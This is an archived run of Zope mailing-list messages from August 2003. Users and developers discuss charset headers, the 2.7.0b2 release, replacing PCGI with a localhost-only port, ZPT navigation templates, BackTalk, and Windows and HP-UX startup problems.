text/html;charset=UTF-8 > > > > When nowhere in my scripts/templates, I stated to use that charset. > > You can imagine the ugly things that are displayed :-/ > > Toby Dickenson would be the man to ask, IIRC. > Have you set UTF-8 as a default anywhere on your system? > > > I found a workaround: forcing the HTTP header of the response... > > > > > > REQUEST.RESPONSE.setHeader('Content-Type', 'text/html; charset=iso-8859-1') > > > > return context.sometemplate(param1=value1, ...) > > > > What about putting a meta declaration in the ? At least you don't have the > clunky python code then... > > cheers, > > Chris > Thanks Chris, I tried this before patching the Python script that handles the form. Putting the charset=iso-8859-1 declaration in the didn't help. The charset declaration of the HTTP header (Content-Type) has priority over the HTML charset declaration (as observed with IE and Mozilla = 99% of users). That's the reason why I ask if this is a bug or a feature. I can't understand this because with the python engine that runs Zope... >>> import sys >>> sys.getdefaultencoding() iso-8859-1 And my system locales are set to that charset too. If it's a feature, is there some place where we can stand what charset should be used for publishing objects behind such or such folder. After further tests, I noticed this on DTML as well as ZPT templates. Cheers --Gilles From jmv-lists at linux-ink.ru Thu Aug 28 16:39:26 2003 From: jmv-lists at linux-ink.ru (Eugene Morozov) Date: Thu Aug 28 07:41:36 2003 Subject: [Zope] Zope 2.7.0b2 Released In-Reply-To: <1061931955.1521.3.camel@james> References: <1061931955.1521.3.camel@james> Message-ID: <20030828113926.GA9044@linux-ink.ru> On Tue, Aug 26, 2003 at 05:05:55PM -0400, Chris McDonough wrote: > Zope 2.7.0 represents a concentration on software configuration and > installation improvement over older versions. It requires Python 2.2.3. Unfortunately, problems with languages and encodings other than English and latin-1 aren't solved in this beta. There're even no signs that someone started to solve this issue. Eugene From tillea at rki.de Thu Aug 28 14:34:08 2003 From: tillea at rki.de (Andreas Tille) Date: Thu Aug 28 08:18:22 2003 Subject: [Zope] Re: No module named GenericUserFolder In-Reply-To: <3F4DD8E9.8020501@nipltd.com> Message-ID: On Thu, 28 Aug 2003, Chris Withers wrote: > > I think I have understand this and in my opinion it is a bug of Zope of > > the previous existance and later removal of any random product (while I > > do not realy know if "any random" is correct) leads to a situation that > > not obviousely related parts of Zope break functionality. > > So if you remove one wheel of a car you would expect the steering to continue to > behave exactly as it did before? ;-) Well, if you would have followed the thread I think the better comparison would be: If I put a suitcase into a car and remove the suitcase after I reached the place I wanted it to be transported I would expect the car to be working as before. :-P > > Do you have any more explicite hint regarding debugging techniques? > > Don't use ZClasses ;-) Hmmm, I never did I just installed the GenericUserFolder package ages ago installed it after some tests. Now some functionality of Zope is broken if as the suitcase removal would have taken one wheel ... Kind regards Andreas. From roseg at apsis.ch Thu Aug 28 15:40:28 2003 From: roseg at apsis.ch (Robert Segall) Date: Thu Aug 28 08:43:07 2003 Subject: [Zope] Pound web site & mail Message-ID: <200308281436.55346@apsis.ch> During the period August 19th - 27th 2003 we have experienced severe problems with our ISP. The Apsis site may not have been accessible during this time and mail messages sent to us may have vanished or bounced. We apologize for these problems and believe them to be resolved at the present time (we have also switched Internet providers). If you tried to contact us during this period and you received no answer it may well be the case that your message was simply lost - we have certainly not ignored it on purpose; please send it again and we'll do our best to answer it at the earliest. -- Robert Segall Apsis GmbH Postfach, Uetikon am See, CH-8707 Tel: +41-1-920 4904 From mtiller at ford.com Thu Aug 28 09:50:37 2003 From: mtiller at ford.com (Tiller, Michael (M.M.)) Date: Thu Aug 28 08:50:55 2003 Subject: [Zope] Can't build resource file for PCGI on Zope 2.7b1 Message-ID: <6F7AD2AD5765D3118A7A00902787302127C24245@na1fcm06.dearborn.ford.com> > From: Chris McDonough [mailto:chrism@zope.com] > Subject: Re: [Zope] Can't build resource file for PCGI on Zope 2.7b1 > > > On Mon, 2003-08-11 at 22:33, Jens Vagelpohl wrote: > > > > > > Is PCGI being deprecated from Zope? > > > > It is not receiving much attention anymore, to put it like > that. With > > mechanisms like mod_rewrite and mod_proxy PCGI is almost never an > > appropriate solution anymore. > > Yes, PCGI is being deprecated. Past 2.7 it will no longer > available in > the source distribution (nor in any binary distribution I'm aware of). Hmmm...then I have a question. I've often seen statements like yours above that "[PCGI] is almost never an appropriate solution", but I'm still puzzled by something. For our needs, the fact that request to Zope can be redirected through a named pipe with PCGI (at least that is my understanding, we are in the process of setting this up right now) is very useful because we are looking at using Zope internally on our corporate intranet and the server will *NOT* be behind a firewall. By using a named pipe, it is much easier for us to direct access to the Zope server than if it were hanging off a port. Our current plan is to have iPlanent (not under my control) be the "front end" web server. The iPlanet server will be responsible for authentication. Then, the requests will be redirected to Zope using exUserFolder. Currently, the plan is to do this redirection through PCGI using named pipe. If PCGI is gone, how can we accomplish the same thing without opening up a port? I don't doubt that "[PCGI] is almost never an appropriate solution", but I cannot seem to figure out what is an appropriate solution in our case. Thanks for any help. > - C -- Mike From jens at zope.com Thu Aug 28 10:06:11 2003 From: jens at zope.com (Jens Vagelpohl) Date: Thu Aug 28 09:06:01 2003 Subject: [Zope] Can't build resource file for PCGI on Zope 2.7b1 In-Reply-To: <6F7AD2AD5765D3118A7A00902787302127C24245@na1fcm06.dearborn.ford.com> Message-ID: <656679AC-D958-11D7-B700-000393D58818@zope.com> > If PCGI is gone, how can we accomplish the same thing without opening > up a > port? I don't doubt that "[PCGI] is almost never an appropriate > solution", > but I cannot seem to figure out what is an appropriate solution in our > case. Very simple if the frontend webserver sits on the same machine: Have Zope listen on a port on localhost only. Then your frontend server simply redirects/rewrites/whatever to that port on localhost. Thus Zope won't be reachable on any external interface. jens From jmv-lists at linux-ink.ru Thu Aug 28 18:21:09 2003 From: jmv-lists at linux-ink.ru (Eugene Morozov) Date: Thu Aug 28 09:21:22 2003 Subject: [Zope] Zope 2.7.0b2 Released In-Reply-To: <1062076327.21455.129.camel@athlon.dc.dc.cox.net> References: <1061931955.1521.3.camel@james> <20030828113926.GA9044@linux-ink.ru> <1062076327.21455.129.camel@athlon.dc.dc.cox.net> Message-ID: <20030828132109.GA9352@linux-ink.ru> On Thu, Aug 28, 2003 at 09:12:07AM -0400, Chris McDonough wrote: > On Thu, 2003-08-28 at 07:39, Eugene Morozov wrote: > > Unfortunately, problems with languages and encodings other than > > English and latin-1 aren't solved in this beta. There're even no signs > > that someone started to solve this issue. > > I'm not sure what the issues are, but to my knowledge, doing > internationalization work was never on the table for this release. But what's the point in having Internet server which only understand English language and can serve only documents in English? I'm sure that there're many users of Zope using languages other than English, but evidently very few developers. > If there are specific patches or collector issues you can point me at, > perhaps I can help (or at least tell you I can't ;-) There's a patch for Zope 2.7 that adds support for encodings other than latin-1, but it was sent to the zopyrus mailing list so there's no an URL to point you at. I'll check if there're relevant collector issues. From mtiller at ford.com Thu Aug 28 10:27:22 2003 From: mtiller at ford.com (Tiller, Michael (M.M.)) Date: Thu Aug 28 09:27:41 2003 Subject: [Zope] Can't build resource file for PCGI on Zope 2.7b1 Message-ID: <6F7AD2AD5765D3118A7A00902787302127C24248@na1fcm06.dearborn.ford.com> > -----Original Message----- > From: Jens Vagelpohl [mailto:jens@zope.com] > Sent: Thursday, August 28, 2003 9:06 AM > To: Tiller, Michael (M.M.) > Cc: zope@zope.org > Subject: Re: [Zope] Can't build resource file for PCGI on Zope 2.7b1 > > > > If PCGI is gone, how can we accomplish the same thing > without opening > > up a > > port? I don't doubt that "[PCGI] is almost never an appropriate > > solution", > > but I cannot seem to figure out what is an appropriate > solution in our > > case. > > Very simple if the frontend webserver sits on the same machine: Have > Zope listen on a port on localhost only. Then your frontend server > simply redirects/rewrites/whatever to that port on localhost. > Thus Zope > won't be reachable on any external interface. Ah...good point. Thanks for reminding me. That is a step in the right direction. BUT, it still seems to me that it isn't as good a named pipe (although I'd be glad to be proven wrong) because with a named pipe *you can control the permissions of the pipe* whereas anyone can connect to the localhost port if they have an account on the machine. Am I missing something again? :-) > jens -- Mike From rpenatez at lattice.com.co Thu Aug 28 08:33:37 2003 From: rpenatez at lattice.com.co (rpenatez@lattice.com.co) Date: Thu Aug 28 09:30:55 2003 Subject: [Zope] Zope Manual in Spanish Message-ID: <05256D90.0044C5C1.00@bquilla.lattice.com.co> Hola Zopers! I want to know if out there I can find a Zope Manual in Spanish... specially I need the Zope Book in Spanish Necesito un manual de Zope en Español... en especial el Libro de Zope RicardoP From bradywayne at yahoo.com Thu Aug 28 07:31:28 2003 From: bradywayne at yahoo.com (Brady Joslin) Date: Thu Aug 28 09:32:13 2003 Subject: [Zope] Need Functionality of Zope Book Message-ID: <20030828133128.47140.qmail@web41403.mail.yahoo.com> Hey guys, This one is probably an easy question if you know the answer. I need the exact functionality of the Zope book. I need to dump large amounts of text from books into the CMS and allow comments after each paragraph, which looks to be the exact functionality of the code that runs the book. The perfect example is this page: http://zope.org/Documentation/Books/ZopeBook/2_6Edition/AppendixB.stx Can anyone tell me how I can get that code? Many thanks, Brady __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com From Erik.Isokangas at hochtief.de Thu Aug 28 16:34:52 2003 From: Erik.Isokangas at hochtief.de (Isokangas, Erik HTC/DE/FRA) Date: Thu Aug 28 09:35:41 2003 Subject: [Zope] Webdav to another server Message-ID: <0951584E7226D411963800D0B73E5B42014BFD8B@GDMXS050> Hi, I am in a situation where I need to access (read) files on a webdav server from my Zope application. There's a lot written about accessing Zope with Webdav but I can't find anything useful about using Zope to access other webdav servers (except for a mention about webdav/client.py - but it's not obvious!). In particular, the webdav/web folder server is Win2000/IIS 5.0 and Zope is installed on a Linux box. Can anyone give me some hints on the best approach? Thanks, Erik Isokangas -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.zope.org/pipermail/zope/attachments/20030828/1ccc4fed/attachment.htm From dman at dman13.dyndns.org Thu Aug 28 10:47:50 2003 From: dman at dman13.dyndns.org (Derrick 'dman' Hudson) Date: Thu Aug 28 09:48:03 2003 Subject: [Zope] Re: 2.7.0-b2 install failure (setup.py defect, I think) In-Reply-To: <20030827041351.GA17616@dman13.dyndns.org> References: <20030827041351.GA17616@dman13.dyndns.org> Message-ID: <20030828134750.GA22982@dman13.dyndns.org> On Wed, Aug 27, 2003 at 12:13:51AM -0400, Derrick 'dman' Hudson wrote: | $ python2.3 setup.py install --prefix /usr/local/opt/zope-2.7.0-b2 | running build_scripts | error: mkpath: 'name' must be a string (got None) | The build succeeds but the install fails. Is something wrong on my | system or has the setup.py script changed in some way? chrism kindly presented me with a cluestick off-list -- if I follow the [configure - make - make install] process described in INSTALL.txt instead of trying to use distutils directly then all is well. -D -- Yes, Java is so bulletproofed that to a C programmer it feels like being in a straightjacket, but it's a really comfy and warm straightjacket, and the world would be a safer place if everyone was straightjacketed most of the time. -- Mark 'Kamikaze' Hughes http://dman13.dyndns.org/~dman/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030828/f7150f4e/attachment.bin From mlong at datalong.com Thu Aug 28 10:59:22 2003 From: mlong at datalong.com (Michael Long) Date: Thu Aug 28 09:59:34 2003 Subject: [Zope] Zope 2.7.0b1 on Windows Message-ID: Changing the startup batch file to use python.exe instead of pythonw.exe should do the trick -Mike > Chris McDonough wrote: > > > envvars). Neither works anymore. Installation is either via rpm, > > executable, or via "configure; make; make install". > > What's the equivalent of this for Windows? > > > instead there's a zopectl script under UNIX and the system works as a > > service under Windows. > > How do you run Zope NOT as a service on Windows? > > cheers, > > Chris > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > > From jens at zope.com Thu Aug 28 11:03:08 2003 From: jens at zope.com (Jens Vagelpohl) Date: Thu Aug 28 10:02:59 2003 Subject: [Zope] Can't build resource file for PCGI on Zope 2.7b1 In-Reply-To: <6F7AD2AD5765D3118A7A00902787302127C24248@na1fcm06.dearborn.ford.com> Message-ID: <5A48C7CE-D960-11D7-A6E3-000393D58818@zope.com> >> Very simple if the frontend webserver sits on the same machine: Have >> Zope listen on a port on localhost only. Then your frontend server >> simply redirects/rewrites/whatever to that port on localhost. >> Thus Zope >> won't be reachable on any external interface. > > Ah...good point. Thanks for reminding me. That is a step in the > right direction. > > BUT, it still seems to me that it isn't as good a named pipe (although > I'd be glad to be proven wrong) because with a named pipe *you can > control the permissions of the pipe* whereas anyone can connect to the > localhost port if they have an account on the machine. > > Am I missing something again? :-) > I have never seen any situation in which I needed to exert control over the connection between the frontend web server and Zope beyond "securing" access so no one from the outside can talk to it. I don't quite get what the problem is. jens From chrism at zope.com Thu Aug 28 11:15:31 2003 From: chrism at zope.com (Chris McDonough) Date: Thu Aug 28 10:16:36 2003 Subject: [Zope] Zope 2.7.0b2 Released References: <1061931955.1521.3.camel@james><20030828113926.GA9044@linux-ink.ru><1062076327.21455.129.camel@athlon.dc.dc.cox.net> <20030828132109.GA9352@linux-ink.ru> Message-ID: <003801c36d6e$d855d600$a017a8c0@james> > > I'm not sure what the issues are, but to my knowledge, doing > > internationalization work was never on the table for this release. > > But what's the point in having Internet server which only understand > English language and can serve only documents in English? I'm sure > that there're many users of Zope using languages other than English, > but evidently very few developers. Well, I personally have no need for this feature (just as you probably have no need for some of the work I do within the core), and I don't have really the time or desire to learn about the myriad internationalization issues when all I do every day is send content in English. For that reason, I'm not likely to be a great candidate to do whatever it is that needs to be done, but that doesn't mean *you* can't do it. The folks who signed up to do work on the 2.7 branch had different itches to scratch. Nothing prevents you from participating as well to scratch that one. - C --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.510 / Virus Database: 307 - Release Date: 8/14/2003 From chrism at zope.com Thu Aug 28 11:21:07 2003 From: chrism at zope.com (Chris McDonough) Date: Thu Aug 28 10:23:35 2003 Subject: [Zope] Can't build resource file for PCGI on Zope 2.7b1 References: <5A48C7CE-D960-11D7-A6E3-000393D58818@zope.com> Message-ID: <006101c36d6f$a05b95e0$a017a8c0@james> It's true that you can't control the permissions of the port. If this is a requirement, you'll need to dig out the old PCGI package and get it working yourself (it's supported on the client via the directive, there's just no way to set up the PCGI socket itself during installation), or use FastCGI. - C ----- Original Message ----- From: "Jens Vagelpohl" To: "Tiller, Michael (M.M.)" Cc: Sent: Thursday, August 28, 2003 10:03 AM Subject: Re: [Zope] Can't build resource file for PCGI on Zope 2.7b1 > >> Very simple if the frontend webserver sits on the same machine: Have > >> Zope listen on a port on localhost only. Then your frontend server > >> simply redirects/rewrites/whatever to that port on localhost. > >> Thus Zope > >> won't be reachable on any external interface. > > > > Ah...good point. Thanks for reminding me. That is a step in the > > right direction. > > > > BUT, it still seems to me that it isn't as good a named pipe (although > > I'd be glad to be proven wrong) because with a named pipe *you can > > control the permissions of the pipe* whereas anyone can connect to the > > localhost port if they have an account on the machine. > > > > Am I missing something again? :-) > > > > I have never seen any situation in which I needed to exert control over > the connection between the frontend web server and Zope beyond > "securing" access so no one from the outside can talk to it. I don't > quite get what the problem is. > > jens > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.510 / Virus Database: 307 - Release Date: 8/14/2003 From chrism at zope.com Thu Aug 28 11:23:03 2003 From: chrism at zope.com (Chris McDonough) Date: Thu Aug 28 10:25:07 2003 Subject: [Zope] Need Functionality of Zope Book References: <20030828133128.47140.qmail@web41403.mail.yahoo.com> Message-ID: <008c01c36d6f$e4864cb0$a017a8c0@james> Hi Brady, See http://backtalk.sourceforge.net. There is also a CMF wrapper in the Collective (collective.sourceforge.net). - C ----- Original Message ----- From: "Brady Joslin" To: Sent: Thursday, August 28, 2003 9:31 AM Subject: [Zope] Need Functionality of Zope Book > Hey guys, > > This one is probably an easy question if you know the > answer. I need the exact functionality of the Zope > book. I need to dump large amounts of text from books > into the CMS and allow comments after each paragraph, > which looks to be the exact functionality of the code > that runs the book. > > The perfect example is this page: > http://zope.org/Documentation/Books/ZopeBook/2_6Edition/AppendixB.stx > > Can anyone tell me how I can get that code? > > Many thanks, > > Brady > > __________________________________ > Do you Yahoo!? > Yahoo! SiteBuilder - Free, easy-to-use web site design software > http://sitebuilder.yahoo.com > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.510 / Virus Database: 307 - Release Date: 8/14/2003 From zope at lists.thewrittenword.com Thu Aug 28 10:14:53 2003 From: zope at lists.thewrittenword.com (Albert Chin) Date: Thu Aug 28 10:35:42 2003 Subject: [Zope] ZPT help Message-ID: <20030828141453.GE17779@spuckler.il.thewrittenword.com> I just set up Zope 2.6.1 and am trying to migrate a static web site to it. The site has some navigation links on the right and across the top. The links to the right are different depending on the page content. The links across the top are always the same. Basic tree structure is: www.foo.com/ www.foo.com/company-info/ www.foo.com/company-info/contact www.foo.com/company-info/history www.foo.com/products/ www.foo.com/products/product-1 www.foo.com/products/product-2 www.foo.com/products/product-3 www.foo.com/projects/project-1 www.foo.com/projects/project-2 www.foo.com/projects/project-3 The "contact" and "history" links appear to the right on the "company-info" page. The "product-1", "product-2", and "product-3" links appear to the right on the "products" page, etc. The "company-info", "products", and "projects" links would appear across the top. Is it possible to have one ZPT template which provides dynamic content based on the URL? -- albert chin (china@thewrittenword.com) From chrism at zope.com Thu Aug 28 11:21:29 2003 From: chrism at zope.com (Chris McDonough) Date: Thu Aug 28 10:49:45 2003 Subject: [Zope] Zope 2.7.0b1 on Windows References: Message-ID: <006901c36d6f$ad2ada10$a017a8c0@james> > Changing the startup batch file to use python.exe instead of pythonw.exe > should do the trick Yep, this is also fixed in 2.7.0b2. > > What's the equivalent of this for Windows? What is "this"? > > > instead there's a zopectl script under UNIX and the system works as a > > > service under Windows. > > > > How do you run Zope NOT as a service on Windows? runzope.bat --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.510 / Virus Database: 307 - Release Date: 8/14/2003 From mtiller at ford.com Thu Aug 28 12:08:44 2003 From: mtiller at ford.com (Tiller, Michael (M.M.)) Date: Thu Aug 28 11:09:33 2003 Subject: [Zope] Need Functionality of Zope Book Message-ID: <6F7AD2AD5765D3118A7A00902787302127C24251@na1fcm06.dearborn.ford.com> Has anybody ever gotten the CMF wrapper part to work? I tried for quite a while and just couldn't get it to function right. I looked up everything I could on the web about it but just couldn't get it going. It is really unfortunate. This was *EXACTLY* what I needed (and continue to need), but I'm just not expert enough in Zope/CMF (yet?) to be able to get this working. -- Mike > -----Original Message----- > From: Chris McDonough [mailto:chrism@zope.com] > Sent: Thursday, August 28, 2003 10:23 AM > To: Brady Joslin; zope@zope.org > Subject: Re: [Zope] Need Functionality of Zope Book > > > Hi Brady, > > See http://backtalk.sourceforge.net. There is also a CMF wrapper in > the Collective (collective.sourceforge.net). > > - C > > ----- Original Message ----- > From: "Brady Joslin" > To: > Sent: Thursday, August 28, 2003 9:31 AM > Subject: [Zope] Need Functionality of Zope Book > > > > Hey guys, > > > > This one is probably an easy question if you know the > > answer. I need the exact functionality of the Zope > > book. I need to dump large amounts of text from books > > into the CMS and allow comments after each paragraph, > > which looks to be the exact functionality of the code > > that runs the book. > > > > The perfect example is this page: > > > http://zope.org/Documentation/Books/ZopeBook/2_6Edition/AppendixB.stx > > > > Can anyone tell me how I can get that code? > > > > Many thanks, > > > > Brady > > > > __________________________________ > > Do you Yahoo!? > > Yahoo! SiteBuilder - Free, easy-to-use web site design software > > http://sitebuilder.yahoo.com > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://mail.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://mail.zope.org/mailman/listinfo/zope-announce > > http://mail.zope.org/mailman/listinfo/zope-dev ) > > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.510 / Virus Database: 307 - Release Date: 8/14/2003 > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From chrism at zope.com Thu Aug 28 11:54:57 2003 From: chrism at zope.com (Chris McDonough) Date: Thu Aug 28 11:11:50 2003 Subject: [Zope] Zope Manual in Spanish References: <05256D90.0044C5C1.00@bquilla.lattice.com.co> Message-ID: <00cf01c36d76$8d815de0$a017a8c0@james> I don't know of any Spanish Zope Book translation, sorry. :-( ----- Original Message ----- From: To: Sent: Thursday, August 28, 2003 8:33 AM Subject: [Zope] Zope Manual in Spanish > Hola Zopers! > I want to know if out there I can find a Zope Manual in Spanish... > specially I need the Zope Book in Spanish > Necesito un manual de Zope en Espa?ol... en especial el Libro de Zope > RicardoP > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.510 / Virus Database: 307 - Release Date: 8/14/2003 From mtiller at ford.com Thu Aug 28 12:16:16 2003 From: mtiller at ford.com (Tiller, Michael (M.M.)) Date: Thu Aug 28 11:16:33 2003 Subject: [Zope] Can't build resource file for PCGI on Zope 2.7b1 Message-ID: <6F7AD2AD5765D3118A7A00902787302127C24252@na1fcm06.dearborn.ford.com> > From: Jens Vagelpohl [mailto:jens@zope.com] > Subject: Re: [Zope] Can't build resource file for PCGI on Zope 2.7b1 > > > BUT, it still seems to me that it isn't as good a named > pipe (although > > I'd be glad to be proven wrong) because with a named pipe *you can > > control the permissions of the pipe* whereas anyone can > connect to the > > localhost port if they have an account on the machine. > > > > Am I missing something again? :-) > > > > I have never seen any situation in which I needed to exert > control over > the connection between the frontend web server and Zope beyond > "securing" access so no one from the outside can talk to it. I don't > quite get what the problem is. > > jens Hmm...I'm not sure how to interpret your response. There are two possibilities. Either you don't understand what I'm trying to do...or you don't understand why I'm doing it. Let me just clarify both. I would like to be able to restrict access to the Zope server to only those people who belong to a certain UNIX group on the server machine. Since authentication will be handled by the front end, we don't want to allow any "anonymous" connections to the Zope server. I know I can handle this with the Zope permissions, but I'd rather build the security into the hardware setup rather than have to worry about permissions on all the objects. So that is what I'm trying to do. Note, much of this is dictated by corporate security guidelines and I can't really argue with it because a) I'm powerless to and b) it is quite reasonable give the number of users of our corporate intranet. Why do I want to do it this way? Well, if I open a port on localhost then any user of the server can access that port. With the named pipe, I can control the permissions on the port. Hopefully that clarifies things. You may not agree the steps are necessary (and I have no say in the matter), but at least now I hope I have explained what steps I'm trying to take. :-) -- Mike From pw_lists at slinkp.com Thu Aug 28 12:20:14 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Thu Aug 28 11:23:29 2003 Subject: [Zope] Need Functionality of Zope Book In-Reply-To: <20030828133128.47140.qmail@web41403.mail.yahoo.com> References: <20030828133128.47140.qmail@web41403.mail.yahoo.com> Message-ID: <20030828152014.GD4592@slinkp.com> On Thu, Aug 28, 2003 at 06:31:28AM -0700, Brady Joslin wrote: > Hey guys, > > This one is probably an easy question if you know the > answer. I need the exact functionality of the Zope > book. I need to dump large amounts of text from books > into the CMS and allow comments after each paragraph, > which looks to be the exact functionality of the code > that runs the book. > > The perfect example is this page: > http://zope.org/Documentation/Books/ZopeBook/2_6Edition/AppendixB.stx > > Can anyone tell me how I can get that code? It's called BackTalk, and it's on Sourceforge. -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's BAT GRAMMAR! (random hero from isometric.spaceninja.com) From jack at openxtra.com Thu Aug 28 17:37:27 2003 From: jack at openxtra.com (Jack Hughes) Date: Thu Aug 28 11:39:29 2003 Subject: [Zope] Redirect without displaying page Message-ID: <004b01c36d7a$49a1bd00$6300000a@penfold> Hello all, I am trying to integrate our systems with an external email list company. They provide a URL with various arguments relating to email address, first name, last name etc. I need to be able to call (from a python script) the external URL with arguments as if it were a function. I do not want to display the results of the call, other than to validate that the call succeeded. How do I go about achieving this? Is there a python method for doing this? Cheers, Jack Hughes OPENXTRA Ltd. http://www.openxtra.com/ From pw_lists at slinkp.com Thu Aug 28 12:51:41 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Thu Aug 28 11:54:57 2003 Subject: [Zope] ZPT help In-Reply-To: <20030828141453.GE17779@spuckler.il.thewrittenword.com> References: <20030828141453.GE17779@spuckler.il.thewrittenword.com> Message-ID: <20030828155141.GE4592@slinkp.com> On Thu, Aug 28, 2003 at 09:14:53AM -0500, Albert Chin wrote: > I just set up Zope 2.6.1 and am trying to migrate a static web site to > it. The site has some navigation links on the right and across the > top. The links to the right are different depending on the page > content. The links across the top are always the same. > > Basic tree structure is: > www.foo.com/ > www.foo.com/company-info/ > www.foo.com/company-info/contact > www.foo.com/company-info/history > www.foo.com/products/ > www.foo.com/products/product-1 > www.foo.com/products/product-2 > www.foo.com/products/product-3 > www.foo.com/projects/project-1 > www.foo.com/projects/project-2 > www.foo.com/projects/project-3 > > The "contact" and "history" links appear to the right on the > "company-info" page. The "product-1", "product-2", and "product-3" > links appear to the right on the "products" page, etc. > > The "company-info", "products", and "projects" links would appear > across the top. > > Is it possible to have one ZPT template which provides dynamic content > based on the URL? Normally this is done by using acquisition. There's a lot of variants, but my favorite ways to solve this kind of problem are A) CMF (but that's pretty involved, and actually your specific request is not trivial for a newbie in the stock CMF setup); or B) use a one-folder-per-page paradigm. This is quite flexible, simple, and should be easy to teach to a content administrator. So, assuming the latter, in your root folder, you set up an index_html template that looks a bit like this (simplified):
The actual page content will be rendered here
This will be replaced with the right nav macro which you can override per folder.
Now, create your products and company-info folders. In each folder, create a document (can be a ZPT, a DTML method, or any other suitable object) called "content". This will be the content that gets placed in the middle of the index_html in each folder. Now create the right nav for the products/ folder. To do this, just create a ZPT called products/right_nav. It should look something like: Do the same in the company-info folder. You'll need a default right_nav in the root folder, too. Presto, your framework is done. Now you can create the individual leaf pages. To do so, simply: 1) create a folder, e.g. products/product-1 2) in this folder, create an object named "content" The reason I'd use the tal:content="structure ..." idiom for the central content, rather than using a METAL macro, is that it's simpler and more flexible for the content manager. When creating or editing content, they only have to create an object named "content" in the appropriate folder; it doesn't matter if it's a ZPT or a DTML method, and they don't have to remember the important detail of using metal:define-macro. You could do the same for the right_nav but in that case I figure it'll be managed by a more zope-savvy person who might like to take advantage of some of METAL's nice features. One gotcha with this approach: You might want to be careful how you set up your ZCatalog, assuming that you use one; you probably don't really want it to return lots of links to things named "content". There are ways, should you need to deal with this... -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's MY BITCH MEGA! (random hero from isometric.spaceninja.com) From chrisw at nipltd.com Thu Aug 28 18:03:46 2003 From: chrisw at nipltd.com (Chris Withers) Date: Thu Aug 28 12:03:51 2003 Subject: [Zope] Zope on HP-UX 11.11, startup error In-Reply-To: References: Message-ID: <3F4E27E2.2050207@nipltd.com> (keep replies on the list so other people can pitch in and help out) Roger Beavans wrote: > Thanks for the tip. I am a bit confused though. I did as you suggested, > starting zope with the follwing command line > > ./start -u zope -X -w80 (I'm assuming this is what you meant). > > the server starts fine. Cool :-) > My confusion comes from, I configured Zope with the > "wo_pcgi.py", program. I ran it again to make sure that's what I did. Which > I thought configured zope wo/pcgi? Why does the pcgi server try to start > anyway? No idea, maybe someone else can help? Chris From ausum_studio at hotmail.com Thu Aug 28 12:19:58 2003 From: ausum_studio at hotmail.com (Ausum Studio) Date: Thu Aug 28 12:19:43 2003 Subject: [Zope] Zope Manual in Spanish References: <05256D90.0044C5C1.00@bquilla.lattice.com.co> <00cf01c36d76$8d815de0$a017a8c0@james> Message-ID: Not the Zope Book, but the only one consistent information in Spanish that I've know of so far: http://programacion.com/tutorial/zope/ Ausum ----- Original Message ----- From: "Chris McDonough" To: ; Sent: Thursday, August 28, 2003 9:54 AM Subject: Re: [Zope] Zope Manual in Spanish I don't know of any Spanish Zope Book translation, sorry. :-( ----- Original Message ----- From: To: Sent: Thursday, August 28, 2003 8:33 AM Subject: [Zope] Zope Manual in Spanish > Hola Zopers! > I want to know if out there I can find a Zope Manual in Spanish... > specially I need the Zope Book in Spanish > Necesito un manual de Zope en Espa?ol... en especial el Libro de Zope > RicardoP > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.510 / Virus Database: 307 - Release Date: 8/14/2003 _______________________________________________ Zope maillist - Zope@zope.org http://mail.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce http://mail.zope.org/mailman/listinfo/zope-dev ) From tloomis at dmso.mil Thu Aug 28 13:20:14 2003 From: tloomis at dmso.mil (Todd Loomis, (SAIC)) Date: Thu Aug 28 12:20:25 2003 Subject: [Zope] Help Error!!! Message-ID: <000a01c36d80$433a94e0$e1350a0a@dmsolan> All: I'm getting this error message every time I try to start Zope: 